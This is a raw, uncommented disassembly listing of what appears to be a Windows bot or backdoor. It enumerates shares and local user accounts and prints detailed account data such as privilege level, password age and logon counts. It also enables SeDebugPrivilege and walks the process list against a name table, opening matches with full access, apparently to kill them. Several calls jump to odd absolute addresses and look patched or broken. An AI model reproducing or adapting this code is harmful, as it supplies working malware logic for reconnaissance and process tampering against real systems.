		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 18h


loc_418CC8:				; CODE XREF: sub_418C8F+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CB598
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2B
		cmp	ebx, 0EAh
		jz	short loc_418D2B
		push	ebx
		push	ebx
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439788
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 24h
		jmp	short loc_418D98
; ---------------------------------------------------------------------------


loc_418D2B:				; CODE XREF: sub_418C8F+5Dj
					; sub_418C8F+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8F
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_418D39:				; CODE XREF: sub_418C8F+FCj
		push	dword ptr [esi+10h]
		call	dword_4CB53C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D50
		mov	eax, offset aNo	; "No"


loc_418D50:				; CODE XREF: sub_418C8F+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D39
		xor	esi, esi


loc_418D8F:				; CODE XREF: sub_418C8F+A2j
		push	[ebp+var_4]
		call	dword_4CB6E4


loc_418D98:				; CODE XREF: sub_418C8F+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC8
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DB0	proc near		; CODE XREF: sub_401ACD:loc_4061EFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E55
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF2
		dec	eax
		jz	short loc_418DE7
		dec	eax
		jnz	short loc_418E0D
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_418EF7
		add	esp, 14h
		jmp	short loc_418E09
; ---------------------------------------------------------------------------


loc_418DE7:				; CODE XREF: sub_418DB0+1Dj
		push	ebx
		push	edi
		call	sub_418ED6
		pop	ecx
		pop	ecx
		jmp	short loc_418E09
; ---------------------------------------------------------------------------


loc_418DF2:				; CODE XREF: sub_418DB0+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E06
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7C
		add	esp, 0Ch
		jmp	short loc_418E09
; ---------------------------------------------------------------------------


loc_418E06:				; CODE XREF: sub_418DB0+45j
		push	57h
		pop	eax


loc_418E09:				; CODE XREF: sub_418DB0+35j
					; sub_418DB0+40j ...
		cmp	eax, edi
		jnz	short loc_418E2D


loc_418E0D:				; CODE XREF: sub_418DB0+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB4D0
		push	off_439094[eax*4]
		push	offset unk_439840
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418E75
; ---------------------------------------------------------------------------


loc_418E2D:				; CODE XREF: sub_418DB0+5Bj
		push	eax
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB4D0
		push	off_439090[eax*4]
		push	offset unk_439810
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418E75
; ---------------------------------------------------------------------------


loc_418E55:				; CODE XREF: sub_418DB0+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB4D0
		lea	eax, [eax+eax*2]
		push	off_439090[eax*4]
		push	offset unk_4397E8
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418E75:				; CODE XREF: sub_418DB0+7Bj
					; sub_418DB0+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7C	proc near		; CODE XREF: sub_418DB0+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2B
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2B
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2B
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CB52C
		pop	edi
		leave
		retn
sub_418E7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED6	proc near		; CODE XREF: sub_418DB0+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2B
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2B
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CB51C
		pop	esi
		retn
sub_418ED6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF7	proc near		; CODE XREF: sub_418DB0+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2B
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2B
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CB6AC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929F
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192DA
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419016
		dec	eax
		jz	short loc_41900F
		dec	eax
		jz	short loc_419008
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901B
; ---------------------------------------------------------------------------


loc_419008:				; CODE XREF: sub_418EF7+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901B
; ---------------------------------------------------------------------------


loc_41900F:				; CODE XREF: sub_418EF7+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41901B
; ---------------------------------------------------------------------------


loc_419016:				; CODE XREF: sub_418EF7+102j
		mov	eax, offset aGuest ; "Guest"


loc_41901B:				; CODE XREF: sub_418EF7+10Fj
					; sub_418EF7+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B886
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CB
; ---------------------------------------------------------------------------


loc_41929F:				; CODE XREF: sub_418EF7+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439860
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409A73
		add	esp, 20h


loc_4192CB:				; CODE XREF: sub_418EF7+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192DA
		push	[ebp+var_4]
		call	dword_4CB6E4


loc_4192DA:				; CODE XREF: sub_418EF7+40j
					; sub_418EF7+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192E0	proc near		; CODE XREF: sub_401ACD+473Cp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2B
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 18h


loc_41931F:				; CODE XREF: sub_4192E0+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CB5B4
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_419380
		cmp	eax, 0EAh
		jz	short loc_419380
		push	eax
		push	eax
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439A50
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 24h
		jmp	short loc_4193FB
; ---------------------------------------------------------------------------


loc_419380:				; CODE XREF: sub_4192E0+62j
					; sub_4192E0+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940E
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FB


loc_419392:				; CODE XREF: sub_4192E0+EDj
		cmp	edi, esi
		jz	short loc_4193D1
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419392
		jmp	short loc_4193FB
; ---------------------------------------------------------------------------


loc_4193D1:				; CODE XREF: sub_4192E0+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_439A1C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 1Ch


loc_4193FB:				; CODE XREF: sub_4192E0+9Ej
					; sub_4192E0+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940E
		push	edi
		call	dword_4CB6E4
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41940E:				; CODE XREF: sub_4192E0+A5j
					; sub_4192E0+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931F
		cmp	edi, esi
		jz	short loc_419426
		push	edi
		call	dword_4CB6E4


loc_419426:				; CODE XREF: sub_4192E0+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419460	proc near		; CODE XREF: sub_418A99+41p
					; sub_418C8F+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419512
		jz	loc_41950B
		cmp	eax, 7Bh
		ja	short loc_4194D7
		jz	short loc_4194CD
		cmp	eax, 5
		jz	short loc_4194C3
		cmp	eax, 8
		jz	short loc_4194B9
		cmp	eax, 32h
		jz	short loc_4194AF
		cmp	eax, 35h
		jz	short loc_4194A5
		cmp	eax, 57h
		jnz	loc_419561
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194A5:				; CODE XREF: sub_419460+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194AF:				; CODE XREF: sub_419460+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194B9:				; CODE XREF: sub_419460+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194C3:				; CODE XREF: sub_419460+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194CD:				; CODE XREF: sub_419460+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194D7:				; CODE XREF: sub_419460+1Aj
		sub	eax, 7Ch
		jz	short loc_419504
		sub	eax, 7C8h
		jz	short loc_4194FD
		dec	eax
		jz	short loc_4194F3
		dec	eax
		jnz	short loc_419561
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194F3:				; CODE XREF: sub_419460+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194FD:				; CODE XREF: sub_419460+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419504:				; CODE XREF: sub_419460+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41950B:				; CODE XREF: sub_419460+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419512:				; CODE XREF: sub_419460+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954B
		jz	short loc_419544
		sub	eax, 8ADh
		jz	short loc_419576
		dec	eax
		dec	eax
		jz	short loc_41953D
		dec	eax
		jz	short loc_419536
		dec	eax
		dec	eax
		jnz	short loc_419561
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419536:				; CODE XREF: sub_419460+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41953D:				; CODE XREF: sub_419460+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419544:				; CODE XREF: sub_419460+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41954B:				; CODE XREF: sub_419460+B9j
		sub	eax, 8CAh
		jz	short loc_41957D
		sub	eax, 17h
		jz	short loc_419576
		sub	eax, 25h
		jz	short loc_41956F
		sub	eax, 29h
		jz	short loc_419568


loc_419561:				; CODE XREF: sub_419460+35j
					; sub_419460+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419568:				; CODE XREF: sub_419460+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41956F:				; CODE XREF: sub_419460+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419576:				; CODE XREF: sub_419460+C2j
					; sub_419460+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41957D:				; CODE XREF: sub_419460+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419582:				; CODE XREF: sub_419460+40j
					; sub_419460+4Aj ...
		push	offset dword_4DB270
		call	sub_41B886
		pop	ecx
		mov	eax, offset dword_4DB270
		pop	ecx
		retn
sub_419460	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419594	proc near		; CODE XREF: sub_401ACD+4782p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D834
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	near ptr 26C0000h
		nop
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D817
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CB664
		test	eax, eax
		jnz	short loc_419624
		mov	esi, offset dword_4DB06C
		push	offset unk_439D84
		push	esi
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41964D
; ---------------------------------------------------------------------------


loc_419624:				; CODE XREF: sub_419594+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_419460
		pop	ecx
		mov	esi, offset dword_4DB06C
		push	eax
		push	offset dword_439D58
		push	esi
		call	sub_41B886
		add	esp, 14h


loc_41964D:				; CODE XREF: sub_419594+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419594	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419652	proc near		; CODE XREF: sub_416F1B+45p
					; sub_416F1B+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 2710442h
		push	eax
		call	dword_4CB638
		test	eax, eax
		jnz	short loc_419671
		leave
		retn
; ---------------------------------------------------------------------------


loc_419671:				; CODE XREF: sub_419652+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CB610
		test	eax, eax
		jz	short loc_4196AF
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419698
		or	[ebp+var_8], 2
		jmp	short loc_41969C
; ---------------------------------------------------------------------------


loc_419698:				; CODE XREF: sub_419652+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_41969C:				; CODE XREF: sub_419652+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CB6C0
		mov	esi, eax


loc_4196AF:				; CODE XREF: sub_419652+32j
		push	[ebp+var_4]
		nop
		call	near ptr 2660868h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419652	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BD	proc near		; CODE XREF: sub_401ACD+7916p
					; sub_4198EC+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CB674, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4198BC
		cmp	dword_4CB658, ebx
		jz	loc_4198BC
		cmp	dword_4CB568, ebx
		jz	loc_4198BC
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CB674
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AF
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CB658
		mov	esi, dword_427068
		test	eax, eax
		jz	loc_4198AA
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CB568
		test	eax, eax
		jz	loc_4198AA
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh


loc_419781:				; CODE XREF: sub_4196BD+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4197E8
		mov	[ebp+var_4], offset off_439DB0


loc_41978F:				; CODE XREF: sub_4196BD+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 2811066h
		test	eax, eax
		jz	short loc_4197B7
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_439E10
		jb	short loc_41978F
		jmp	loc_419890
; ---------------------------------------------------------------------------


loc_4197B7:				; CODE XREF: sub_4196BD+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_419890
		push	0
		push	eax
		nop
